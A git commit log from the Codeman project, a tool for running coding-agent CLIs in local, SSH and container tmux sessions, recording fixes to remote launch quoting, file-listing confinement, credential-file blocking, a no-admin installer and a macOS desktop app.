call, run in an explicit sh because the guard chain is POSIX and the remote
login shell may be fish, and the probe holds a slot of the remote-ssh limiter
and execs ssh so a timeout reaches it. Notes from a remote scan are no longer
dropped, and every note now opens with its location.

The adopted branch of killSession no longer blocks the event loop on docker or
tmux, kills the in-container view by exact name, and clears the pane-exit and
reconnect state the non-owned remote branch does. An adopted wrapper reports
no injected statusline, since nothing could carry it. Key tables on the foreign
server are left alone on purpose, and the invocation now says so.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:06:47 +01:00
Codeman maintainer a0e21109b2 fix(adopt): key adopted targets by location, not just socket and name
Session 0 in two containers, or one name on this machine and on an ssh host
with the same uid, shared a (socket, name) pair, so opening one returned the
other's tab and its row read "Go to tab". foreignTargetKey() is now the one
key, built from the location, the host identity, the socket and the name, and
both the one-wrapper check and adoptedBy read it.

Both also read live sessions instead of mux records, which only exist once the
first attach starts the pane. An in-flight mark closes the rest of that window:
the route awaits the registries and the layout lock before the session lands in
the map. Docker targets are keyed per engine for the same reason, or a second
daemon's container of one name was never scanned.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:03:05 +01:00
Codeman maintainer 26b63aea2d fix(edit-history): remote lookup finds tmux, a timeout reaches ssh, docs follow
Applies the review of #766.

The live lookup ran tmux on the bare PATH of the ssh command. On a host
where tmux sits in ~/.local/bin or /opt/homebrew/bin it found no pane, the
2>/dev/null hid that, and the panel stayed on the launch conversation after
a /clear. It now goes through withRemoteTmuxPath(), inside the sh script and
scoped to the $(...), so the other tools keep the PATH they had. The fake
tmux of the test block moved to $HOME/.local/bin for the same reason: that
directory is first on the new PATH, so a real tmux is never asked.

The two ssh commands get exec. Node signals the local sh -c, and dash stays
the parent of a plain command, so ssh survived the timeout. A test with a
fake ssh shows the process dies now and survives without exec.

The comment at the meta budget claimed a meta past it comes with a later
read. A meta comes only with a subagent's first read, so it is never sent.

Docs: the store is named as the exception to "never copied to local disk",
remoteProbePaths and the remote transcript lookup are described, and the
line saying a remote session loads no store is gone.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:57:58 +01:00
Codeman maintainer a908be05ac fix(files): mark folders the scan limit stopped short of
The fair rounds give a directory its node before reading it, so every folder
still queued when the 5,000-node budget ends sat in the tree with empty or
partial children and read as an empty folder. Keep the node on the tree cursor
and set an additive incomplete: true on every cursor left in the queue, then
draw one dim, inert row under such a folder while it is expanded. The envelope
check ignores keys it does not know, so old and new clients stay compatible.

Stop each round at the top once the budget is spent, before the shift: the
rest stay queued unread, and flagged, rather than read and sorted for nothing.

Say what the walk is: a per-directory round-robin (breadth-first), fair per
directory and not per subtree, with search results now shallow-first.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:57:28 +01:00
Codeman maintainer 131a12d195 docs(codex): say what Allow network access leaves alone
The owner's answer to the PR's open question: the switch does not also pass
--sandbox workspace-write. Settings, wiki, skill and release note now state
the consequence: a folder Codex runs read-only keeps the network closed and
asks per command. A golden test pins the decision by name, and the stale
launch-defaults comments now name networkAccess.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:52:52 +01:00
Codeman maintainer bb42f8105e Merge branch 'relprep/pr-772' into relprep/pr-614
Both sides rewrite the /files walk. Keep the fair rounds from #614 and carry
the two things #772 does to the walk onto them: both queues start at walkRoot,
and the search predicate reads a path relative to the listing while every
returned path stays relative to workingDir.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:51:50 +01:00
Codeman maintainer b51632e54b feat(desktop): install Codeman from the app, with no Terminal and no password
The This Mac tab runs install.sh --no-admin itself. The two questions only a
person can answer move into the app: which coding agent to install, shown only
when this Mac has none, and who may reach Codeman. The installer's output goes
to a file, so a running install survives the app quitting and is picked up
again when it reopens.

install.sh gains --ai-cli, --progress and a preflight subcommand, which is what
the app reads its choices from, so it keeps no copy of the CLI catalogue.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:51:00 +01:00
Codeman maintainer 57b2dcc466 Merge remote-tracking branch 'origin/master' into relprep/pr-510
Brings the 1.33.2 based adoption feature up to master. Conflicts were
resolved by keeping master's intent and re-applying the feature on top:
both sides kept for imports, the script tag and the stylesheet blocks; the
trust-dialog guard keeps master's stopped check plus the adopted refusal;
the Ralph and image watchers keep master's remote branch plus the adopted
skip; the close confirmation keeps master's worktree option plus the
adopted wording.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:51:00 +01:00
Codeman maintainer 35ff4e886c Merge origin/master into relprep/pr-753
Conflict in src/session-cli-registry-bridge.ts: kept the PR's gateVersion() (gates measured against the gated CLI's own version) and added master's Discord startup hint engine value.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:50:25 +01:00
Codeman maintainer 0d42fdc0cf Merge remote-tracking branch 'origin/master' into relprep/pr-614 2026-11-06 02:44:43 +01:00
Codeman maintainer a8688f14a0 fix: disclose the tcsh regression and bring the launch docs in line (release review)
A tcsh login shell worked on 1.48.0 only because the local sh rewrote
${SHELL:-/bin/sh} to this host's shell. With the launch verbatim, tcsh gets -i -l,
refuses it and every stock launch leaves a dead pane. The changeset and
docs/remote-sessions.md described that as a standing limitation; they now name it
as a change in this release, with what the override workaround costs.

Also: extraSshOptions joins the list of values now literal at launch, the stock pane
command is shown as /bin/sh -c in the docs and the builder's JSDoc, the invariants
state how the launch must reach the far end, the manual pages cover $ in an override,
and the invariants no longer say extraSshOptions refuses a bare $ (it never did).

Reworded the em-dashes on the invariants line this rewrites.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:39:42 +01:00
Codeman maintainer 9b73ab3dbe fix: state what a clear and a restart keep in the custom-model docs (release review)
Records the limit on a session with its own CLAUDE_CONFIG_DIR, which does not
carry its conversation across an endpoint because the isolated projects link
goes to the server's tree. Also records that an own home set before a restart
with no selection is lost on clear, that only an absolute path is persisted,
and tells the user manual what a clear gives back.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:39:11 +01:00
Codeman maintainer 4513ef6ebb fix: keep a disabled CLI's keys in the owner env clamp (release review)
ownerClampedEnvKeys() read enabledClis(), so disabling a CLI dropped its
privileged keys from the clamp, and a revoked owner got a saved home back on
recovery or reboot restore. getCli() still returns a disabled entry, and a
session can outlive the switch.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:39:11 +01:00
Codeman maintainer db5222c4fa fix: keep a home value that is not a path off disk, and re-apply from the own home (release review)
getCustomModelForPersist() trusted homeEnvVar to name a path, but the registry
types it as any env name, so a clis.json override could write a session's own
credential to state.json. Only an absolute path is written now.

A re-apply resolved the CLI's real home from what the session's map held, which
under a selection is the injected directory, and recovery resolved none at all.
An entry the own home lacks (settings.yaml) was then linked from the server's
home on an endpoint switch and on recovery. The route now reads the new
Session.ownEnvValue(), and recovery reads the clamped record through the same
bounded guard, under the bulk cap since it walks every saved session. Also
corrects the comment that said only a removed directory gets its links again.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:39:11 +01:00
Codeman maintainer b6eea702a8 fix: correct the pi wheel docs and comments (release review)
The gate comment in terminal-ui.js said a stale-false flag falls through
to the PageUp/PageDown fallback, which is false for pi since the second
commit of this PR removed that fallback. The FOOTGUN comment above it made
the same claim. Say what happens instead.

"Every pi below 1.0.0 emits no mouse enables" was too absolute: regular
was the default there, but fullscreen exists from 0.84.0. Measured with
--tui-mode fullscreen under tmux on 0.84.1, 0.85.0, 0.86.0 and 0.99.2:
alternate_on=1, mouse_any_flag=1, mouse_sgr_flag=1. Default settings on
0.99.2 report all 0.

Document that Wheel Scrolls Local History leaves the wheel dead in
fullscreen pi (wiki, integration guide, changeset), add a pi block to
Troubleshooting, cross-reference the accepted exception from the dead
gesture rule in architecture-invariants, and mark the pi-integration-plan
passages this PR reversed as superseded.

Comments and docs only, no runtime change.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:35:41 +01:00
Codeman maintainer bf6457e488 fix: accept omp and copilot in the per-mode command overrides (release review)
RemoteCommandOverridesSchema is .strict() and stopped at deepseek, so the API
refused a commands.omp or commands.copilot override although both modes can run
remotely and in a container (RemoteCommandMode, DockerCommandMode) and the launch
builders honour the key. The docs call the override the way out for a login shell
the stock launch cannot run, which was not true for those two modes.

The test walks the CLI registry, so the next CLI cannot miss the schema the same way.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:34:41 +01:00
Codeman maintainer 55514c7e3c docs: state the new linked-cases answers (release review)
The API reference still said a registry failure on create and clone is
500 and did not list the rename's new 409s. CLAUDE.md said both files
are restored after a failed registry write, and left out the
config-backup restore exception.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:27:39 +01:00
Codeman maintainer 2ec739fd3a test: pin the rename re-checks and the refused-registry answers (release review)
The rename's checks inside mutateLinkedCases and the refused-registry
branches of rename and clone had no test: removing them left every
case route test green. A hook right after the folder move lands a link,
an unlink, a re-pointed entry or a torn file between the route's first
check and its registry write. Each new test fails when its check is
removed.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:27:39 +01:00
Codeman maintainer 4f7ed129a9 docs: describe the live worktree listing as it now works (release review)
The security wording claimed a folder strictly below workingDir was the whole
argument, which the symlink fix showed was only the lookup's half. The rest is
docs that were missing: liveWorktree, root=live and worktree in the API
reference, the mechanism section the CLAUDE.md paragraph had no pointer to, what
a root=live query matches against, and the limits a reader meets in the wiki
(the Git panel stays on the session's folder, a session started below the
repository's top is not followed, a page under .claude/worktrees opens as
source).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:26:36 +01:00
Codeman maintainer 5c1ec46b6f fix: keep a root=live listing inside the session folder (release review)
The lookup judges liveWorktree.path lexically and only when the pane moves,
while the route's probe and readdir both follow symlinks. A symlink put at
that path, or at a parent of it, without moving the pane re-rooted the listing
outside workingDir. Names and sizes leaked, while file-content and file-raw
still refused the paths.

The route now resolves both folders on every request and walks the worktree
only when it lies strictly inside the resolved workingDir, otherwise it walks
workingDir. Only the check uses the resolved paths: the walk keeps the session's
spelling, so a workspace reached through a symlink still gets paths relative
to workingDir.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:25:14 +01:00
Codeman maintainer ed74ae41bc merge feat/no-admin-install into the graphical installer branch
The graphical install runs install.sh --no-admin, so this branch needs both
PR #763 (the app) and PR #768 (the route that needs no password).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:01:55 +01:00
Codeman maintainer b5aa3fbdf7 fix(pi): leave page keys out, and pin the strip that makes the wheel work
transcriptPageKeys applied to every pi, and a pi in `tuiMode: regular` binds
PageUp/PageDown to its editor. It emits no mouse enable, so the flag stays
false, and on a fresh pane the buffer is hollow: the wheel sent PageUp, the
caret of a multi-line draft moved, and the next keystroke landed on the wrong
line. Measured on real pi 1.1.0, 1.4.0 and 1.5.0. Regular mode is not exotic,
it only takes one line in pi's settings. Telling the two modes apart would
need a new capability, since the paging gate takes no id, so pi has no
fallback: a fullscreen pi with "Wheel scrolls local history" on stays where
master left it.

altScreen, the half of the fix that does the work, was pinned by nothing:
reverting it left 1328 tests green. The strip decision table reads its
expected value from the same registry entry. pi now has its own block using
the bytes it really emits, which also pins that focus reporting survives.

The fullscreen default dates from pi 1.0.0, not 1.4.0, so the comments say
that, and the sites still calling pi narrow-strip or main-screen by default
are corrected. Where a comment listed CLIs it now names the capability.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 01:04:01 +01:00
Codeman maintainer 012ca2e971 fix(remote): keep Codeman's pane command away from the remote default-shell
Handing the launch to bash verbatim exposed `"${SHELL:-/bin/sh}"` to the far
end for the first time. tmux runs a one-argument command through the remote
default-shell, not /bin/sh as the comments said, and fish refuses `${...}`:
on a fish host, or a bash login with `set -g default-shell fish`, every new
pane died with status 127. master only survived because the local sh had
already rewritten that token to this host's shell path.

Codeman's own text now goes to `/bin/sh -c` as separate tmux arguments, which
tmux execs without a shell. A commands.* override stays one argument and keeps
the default-shell it was written for: under `/bin/sh` a `source` or `[[` in an
override dies with 127 on bash and zsh hosts.

The tests read the argv tmux would receive through a real sh, so they need no
fish: every stock launch must reach /bin/sh and an override must not. The
docker half of bashCArg was pinned by nothing, so it gets its own test.

Comments that described the removed double-quote layer are corrected, and
remote-hosts.ts no longer claims overrides are seeded from the default text
or that they rescue nushell and elvish.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 00:59:57 +01:00
Codeman maintainer 89a93c871f fix(files): list the git worktree an agent moved into (#765)
Claude Code's EnterWorktree moves the running process into
<repo>/.claude/worktrees/<name>, while Session.workingDir stays on the main
checkout. The Files panel kept walking workingDir, so it listed a tree the
agent had left.

paneCwd already follows the move, measured on Claude Code 2.1.318 in both
directions, so nothing new has to track the agent. It also follows every cd
in a shell, so a new SessionState.liveWorktree narrows it to a linked
worktree, read from the .git file without starting git.

Only a folder strictly below workingDir is ever an answer, and the listing
only starts there: returned paths stay relative to workingDir, so the
preview, raw and edit routes are unchanged and confinement does not widen.
A worktree outside the session folder stays unfollowed.

The panel asks with root=live, shows a strip naming the worktree with a
switch to the session folder, and follows the agent in and out while open.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 23:47:38 +01:00
Randalix 58dae1e182 fix(pi): forward the wheel from cliMouseTracking so scrolling survives replay
pi 1.4.0 is an alt-screen TUI that enables mouse tracking once at start.
Codeman's replay (tab switch, reload) drops that mode in xterm
(mouseTrackingMode none, baseY 0), so the wheel hit an empty local buffer
and stayed dead until a resize made pi redraw.

Same shape as copilot: altScreen strip-mux-and-mouse (the server records
the stripped DECSETs as cliMouseTracking, which survives the replay),
wheelForward always, transcriptPageKeys (PageUp/PageDown fallback for a
stale flag, measured on pi 1.4.0). _shouldForwardWheelToApp treats pi like
copilot. Registry pins and docs updated.

Tests: 2 new in terminal-scroll-routing (red before). Full run: 12989
passed, 5 red from the de_DE locale / XDG env (custom-model-run-menu-ui,
git-worktrees, edit-history-sync), all green under LANG=C.UTF-8.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
(cherry picked from commit 53e4136d9f4401e9250ac6a122599ffcb2a57e8a)
2026-11-05 23:35:14 +01:00
Randalix 21256202ba fix(remote): hand remote/docker launch commands to bash verbatim
respawn-pane runs `bash -c "<ssh …>"` through the local sh, so every `$` in
the remote command is expanded on the Codeman host. withRemoteTmuxPath
(`export PATH="$HOME/.local/bin:…:$PATH"; tmux …`, 5b9445de) therefore sends
the Codeman host's home and PATH to the remote host: a remote user with a
different home (tmux in ~/.nix-profile/bin) gets "tmux: command not found" and
every new remote pane exits 127. `${SHELL:-/bin/sh}` in the remote launch was
the local shell for the same reason.

Remote and docker commands are already quoted for the far end, so they now go
to `bash -c` single-quoted (bashCArg); local commands keep the double-quoted
form. Two tests run the captured respawn-pane line (create and respawn)
through a real sh with a foreign HOME/PATH and check that ssh gets `$HOME` and
`$PATH` unexpanded.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
(cherry picked from commit 2818e9455489b9acd65841258df4cd035609954c)
2026-11-05 23:35:13 +01:00
Codeman maintainer ae28534406 feat(install): install without administrator rights (--no-admin)
Codeman itself always lived under $HOME; administrator rights were only
spent on what it needs first (system packages for Node.js, tmux and git,
Homebrew on a Mac). An account without those rights could not install it:
the installer died in ensure_sudo, or in Homebrew's own installer.

install.sh now has a no-admin route, taken by itself when the account has
no administrator rights (no sudo binary; outside sudo/wheel/admin and
`sudo -n true` fails; a refused sudo password; a Mac account outside the
admin group with no writable Homebrew) and forced with --no-admin or
CODEMAN_NO_ADMIN=1:

- Node.js: the official tarball from nodejs.org, checked against the
  SHASUMS256.txt published beside it, into ~/.codeman/runtime/node.
- tmux: the tmux project's own build (tmux/tmux-builds 3.7c), checked
  against a SHA-256 pinned in the installer, into ~/.codeman/runtime/bin.
- Both are linked from ~/.local/bin (never over a file that is not ours),
  and the runtime is on PATH and on the LaunchAgent's PATH.
- git is never installed. Without a working git the source comes as an
  archive, the install is marked with .install-source, and it updates by
  re-running the installer: the new tree is built beside the old one and
  swapped in only after the build succeeded. A later re-run on a machine
  that has gained git turns it back into a clone.
- Nothing on this route runs sudo, Homebrew or `xcode-select --install`,
  and the route is never decided by `sudo -v`.

What it cannot supply is checked before the first download: a C/C++
toolchain on Linux (node-pty 1.1.0 compiles there), musl, and macOS below
15 (the tmux build's deployment target).

Along the way:

- check_git no longer trusts `command -v git`. On a Mac without the Xcode
  Command Line Tools /usr/bin/git is a stub that opens Apple's install
  dialog; it is judged by `xcode-select -p` and never executed. Any other
  git is asked for its version.
- scripts/git-hooks.mjs answers "not a checkout" without running git, for
  the same reason: postinstall calls it on every npm install.
- The in-app updater knows the install kind `archive` and points such an
  install at the installer instead of `npm i -g aicodeman@latest`.
- download() and download_to_stdout() resolve DOWNLOADER themselves. Only
  main() used to set it, so `install.sh cloudflared` died on `set -u` with
  the message swallowed by the step log.
- The AI CLI menu leaves out a Homebrew-only install command where there
  is no Homebrew.

Verified with the real installer: a bare Ubuntu 24.04 container as an
unprivileged user (install, a PTY round trip through the API, update by
re-run, cloudflared, uninstall), the same without a compiler (stops before
any download), with a broken then working git, with sudo present but not
usable, and on macOS 26 (arm64) in an isolated HOME with sudo, brew, git,
the compilers, launchctl and tailscale replaced by tripwires. Not verified
on a real standard macOS account: that account was an administrator.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-05 18:50:58 +01:00
Codeman maintainer 10d43b993e fix(custom-model): give a session its own env values back when the selection goes
Applying a custom model writes the endpoint's values over the keys it
injects, and clearing the model unset those keys. A session that had set
one of them itself lost that value: its own DSH_HOME, CODEX_HOME,
GROK_HOME or GEMINI_API_KEY was gone once the model was cleared, and so
was CLAUDE_CONFIG_DIR, which silently moved a Claude session onto the
default account. Switching endpoints did the same.

setCustomModel() now records what the session held under each injected
key and restores it on clear and on switch. Quick-start passes the
caller's values to the Session constructor so they are seen before the
selection lands.

The selection overwrites the only other copy, tmux's setenv, so the
session's own home directory has to survive a Codeman restart on its
own. __customModel therefore stores that one path, the single exception
to persisting keys only, and recovery runs it through
clampEnvOverridesForOwner() so a revoked grant cannot bring it back. Any
other own value, a credential included, stays in memory only.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 14:25:49 +01:00
Codeman maintainer 46b85fa6d0 chore: bump Playwright to 1.64.1 and unpin the browser suite
Playwright supports Ubuntu 26.04 from 1.61.0, so the browser suite can go
back to ubuntu-latest. Raises the floor in package.json as well, because
the old ^1.58.0 still admitted versions that refuse to install on the
image every workflow now runs on. Bundled Chromium moves from 148 to 156.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 14:22:41 +01:00
Codeman maintainer aa463d9d28 ci: pin the browser suite to ubuntu-24.04
ubuntu-latest moved to 26.04 and the locked Playwright 1.60.0 refuses to
install chromium there (support starts at 1.61.0), so the nightly stopped
before running a test. Pin to the image of the last green run, so a failure
now points at our code rather than at a new OS and Chromium. Unpin when
Playwright is bumped.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 14:15:43 +01:00
RandalixandClaude Opus 5.5 cce28c24f9 test(edit-history): session-aware deps in the tests added by the #693 review
The probe-stall test and the removal test were written against the path-only deps. With the session argument the first failed outright and the second passed without reaching the probe. Both now use the real shape; removing the isRemoved() guard turns the second red. The route comments no longer call remote sessions unsupported.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 11:22:26 +01:00
RandalixandClaude Opus 5.5 f27fda0f45 test(edit-history): the live conversation wins even when older; tighter wiring guard
Review round 3 (all low):
- the "written last" test left solo newer than conv-1 for the rest of the
  file, so the live test passed by mtime alone. solo's mtime is reset in a
  finally, and the live test now runs with the live transcript older than
  the stored one (a /resume into an older conversation before it writes).
- the server wiring guard matches the remote branch of the ternary as one
  expression, so swapped branches fail it.
- note on whole-second `-nt` (BusyBox, bash 3.2) at the lookup.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-11-05 11:20:01 +01:00
RandalixandClaude Opus 5.5 5bcec26066 fix(edit-history): a remote lookup takes the conversation written last, not the first id's
Review round 2: with the stored conversation tried before the launch id, a
respawn that resumed the launch conversation after a /clear was missed once
claude exited again: the cleared-to conversation still had a file and won,
so the edits made after the resume were never read. No fixed order of the
ids is right both after a /clear and after such a resume. Without a live
conversation the lookup now takes the most recently written transcript of
all known ids (stored, claudeSessionId, id); the live one still goes first.

Also from the review:
- the remote no-transcript note and the docs name login profiles too
  (.profile, .bash_profile): sshd's `bash -c` reads neither, like .zshrc;
- a wiring guard pins that server.ts looks a remote transcript up with
  remoteTranscriptIds and leaves the local lookup on the hook path;
- the browser tests undo the injected remote session in a finally.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-11-05 11:20:01 +01:00
RandalixandClaude Opus 5.5 0a6a877415 fix(edit-history): remote reads get time for their size, follow CLAUDE_CONFIG_DIR, keep the conversation after /clear
Review findings on the remote edit history:

- A forward read may carry 13 MiB and "Load older" 29 MiB; the flat 30 s
  read timeout cut those off below ~1 MiB/s. The timeout now adds the
  transfer time at 256 KiB/s (remoteEditSourcesTimeoutMs). It ends a hung
  read, it does not cut a slow one.
- The transcript lookup looked only under $HOME/.claude. It now uses an
  absolute CLAUDE_CONFIG_DIR of the ssh command's environment, else
  $HOME/.claude, for both the projects and the live sessions/<pid>.json.
  A value set only in .zshrc stays invisible (the lookup is a plain sh);
  documented, and the panel's remote no-transcript note says so instead
  of promising the next prompt (a remote host sends no hooks).
- After a remote /clear claudeSessionId stays the launch id, so once the
  remote claude exited the lookup fell back to the cleared conversation
  and the panel flipped back. The sync now hands the lookup the stored
  conversation, tried right after the live one (remoteTranscriptIds).

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-11-05 11:19:52 +01:00
RandalixandClaude Opus 5.5 c4ba14235f feat(edit-history): read remote (SSH) claude sessions, never waking the host
The edit history panel now covers remote claude sessions. The sync stays
path-based; its deps get the session and server.ts routes them to the local
reader or to two new ssh reads in remote-files.ts:

- remoteLocateClaudeTranscript: one round trip; the conversation the remote
  pane's claude writes now (~/.claude/sessions/<pid>.json via the pane's
  process tree, since remote hosts send no hooks), else claudeSessionId,
  else the session id, newest $HOME/.claude/projects/*/<id>.jsonl.
- remoteReadClaudeEditSources: one round trip per read pass, with the local
  reader's semantics (offset clamp, block end at offset+len, new files read
  their tail, shared main-first budget, onlyRequested, 8 KiB meta cap).

So /clear catch-up, "Load older", cursors and the store LRU work remotely
unchanged. Reads use buildRemoteFileCommand + runWithRemoteSshLimit only:
a sleeping host is a connect timeout -> unavailable, stored entries kept.

Tests: both scripts run on a real sh against a temp HOME; the read is
compared byte for byte with readClaudeEditSources on 60 seeded random
transcripts. A transitive import guard pins that the edit-history read path
reaches neither remote-wake.ts nor session-routes.ts. Browser: a remote
session lists images without thumbnails, a click previews. Docs updated.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-11-05 11:19:46 +01:00
Codeman maintainer 5929584ea4 fix(cases): serialize every write to linked-cases.json
Five routes changed the linked-cases registry: link, unlink, rename, and a
create or clone into a custom folder. Each read the file, checked it and wrote
it back on its own, so two requests that both read before either wrote lost
an entry. Two clones that claimed one name and finished together both passed
the name check, both answered success, and the later write replaced the
earlier entry. The same race made "a name linked while the clone ran is a
409" in test/routes/case-clone-custom-folder.test.ts fail about half the time.

- New src/web/linked-cases-writer.ts, mutateLinkedCases(), shaped like
  mutateSettingsFile(): mutations run one at a time, each write is a temp
  file renamed over the registry (through a symlink, keeping its mode), and
  a file that is not a JSON object is refused (409 CONFLICT) instead of being
  read as {} and overwritten.
- All five writers go through it, with their name checks inside the
  callback, so exactly one of two requests for one name wins. Rename also
  re-checks that the old name still points at the old folder, and drops its
  manual registry undo, since a failed write no longer changes the file.
- Tests: test/linked-cases-writer.test.ts (writer behaviour, and concurrent
  link/unlink through the routes with slowed writes, which fail on the old
  code). Tests that forced a failed registry write with chmod 444 or a
  directory now inject the failure at the rename, or expect the refusal.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 02:11:27 +01:00
Devvyn b89de128e1 docs(picker): name both pickers in the manual and cover the clone picker in the New folder test 2026-11-05 08:15:40 +08:00
Codeman maintainer 8ba5134174 feat(desktop): native macOS app that runs, installs or connects to Codeman
Adds packages/desktop, a small native app (Rust: tao, wry/WKWebView, muda,
objc2) that opens Codeman in its own window. The universal app is about 5 MB
(3.2 MB as a DMG) and runs on macOS 11.3 or later.

- Connect screen with two tabs. This Mac finds the local Codeman and offers
  Open, Start or Install. Start uses launchd for a LaunchAgent install and
  codeman web -d otherwise. It never starts a second server while one runs,
  because two servers on one data dir share live sessions. Another machine
  connects by address (recent servers, Keychain logins) and can install
  Codeman there over SSH.
- Installs run Codeman's install.sh in Terminal from a self-deleting
  .command script. The installer needs a terminal for sudo, Homebrew and
  ssh. A local install uses --local --service and the first free port from
  3000, and the app opens Codeman once it answers.
- The local Codeman's login is read from its LaunchAgent or
  ~/.codeman/.env. It is sent only to 127.0.0.1 on that port, only while
  the user's own Codeman process holds it, and is never saved.
- Native JS dialogs (alert, confirm, prompt) and HTTP Basic challenge
  answers, both scoped to Codeman's own pages, so the page keeps working
  after a server restart. App cookies are cleared before every connect.
- Pop-outs through window.CodemanHost, with an allowlist (webview/ never
  opens a window), external links in the default browser, downloads to
  ~/Downloads, real full screen and window state that is remembered.
- The connect page refuses a WebKit older than Safari 16.4, which Codeman's
  terminal needs.

Codeman side: viewSubagentTranscript shows a toast when the pop-up is
refused instead of failing, with zh-CN strings and a test that pins them.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 00:36:49 +01:00
Devvyn cddfb48ea6 feat(picker): New folder button for Create New's custom folder picker
Turns on the picker's New folder button for "Choose the folder to create the
case in", the folder picker behind Create New's custom folder option.
2026-11-05 07:30:29 +08:00
Codeman maintainer 9eac5ecf01 test: wait for the first read before starting the other edit history sessions
The gate belonged to whichever read arrived first, and sessions load their stores
independently, so under CI timing another session took it, the loop never reached
release() and the test timed out (master, CI run 41930703100). The code cannot block
one session on another: sync() only waits on its own slot.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 00:21:12 +01:00
Codeman maintainer 2aa6016d33 chore: version packages
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 00:04:01 +01:00
Codeman maintainer 1921a47aa8 docs: say exactly which routes refuse the Discord token file
The release note and the security doc read as if no file view could return it. The
attachment, folder and download routes refuse it; file-raw serves a session's own
workspace without the blocklist, so a session rooted at the home directory can
still read it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 18:28:32 +01:00
Codeman maintainer 4960bee779 chore: one changeset for the release, and no new em-dashes
Consolidates the four contributor changesets, and rewords the em-dashes this release
added in comments and docs. The five in test/settings-save-failure-ui.test.ts stay:
they assert existing toast text.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 17:31:48 +01:00
Codeman maintainer eb3b08d58b docs: fix text the release left stale (release review)
The startup hint is no longer typed, a Discord reply is one of the input paths that
set fromUser, edit-history is a state file, POST /api/filesystem/mkdir is in the API
reference, and the store's header says which routes really refuse it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 17:29:09 +01:00
Codeman maintainer 7803d5616a fix: probe bounded before a realpath in clone and New folder (release review, #516)
Clone ran an unbounded realpath over every Docker case workspace, and the mkdir
route inherited the picker resolver's realpathSync, which freezes the whole server
on a mount that stopped answering. The picker's browse route has the same call and
is left as it was.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 17:29:08 +01:00
Codeman maintainer 345c901e81 fix: refuse an unlaunchable model id before quick-start asks to evict a model (#752)
The dedicated route got this order at merge and quick-start kept the old one, so
a user could agree to a swap only to get the 400. It also runs on the pure build
now, so a refused id writes no config dir to clean up.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 17:29:08 +01:00
Codeman maintainer e68afdd2ac fix: bound the Discord table conversion input and keep received files off the watcher (release review, #741)
A table costs its widest cell times its rows, so one wide cell in an agent's last
message built a 202 MB string on the event loop although only 8 posts can ever go
out. Only what can be posted is converted now. A file a person sent from Discord
also fired attachment:detected as if the agent had produced it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 17:29:08 +01:00
Codeman maintainer 4276b53a8f fix: keep credential files out of the file routes and Discord uploads (release review)
The Discord bot token was readable through the attachment routes, because
discord.json was not on the sensitive list, and so were webhook.json,
custom-model-hosts.json and the generated custom-model configs. Config backups
were the wider gap: a dated copy of users.json or settings.json matched none of
the name-anchored patterns. All are blocked now.

`codeman notify --file` relied on folder confinement alone, which holds nothing
back when a tab's folder is the home directory, and it would also post a
workspace .env. It now applies the attachment blocklist to the real path.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 17:28:52 +01:00
Codeman maintainer 126d967ba3 docs: put the remove() comment back on remove() (#693)
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 17:04:46 +01:00
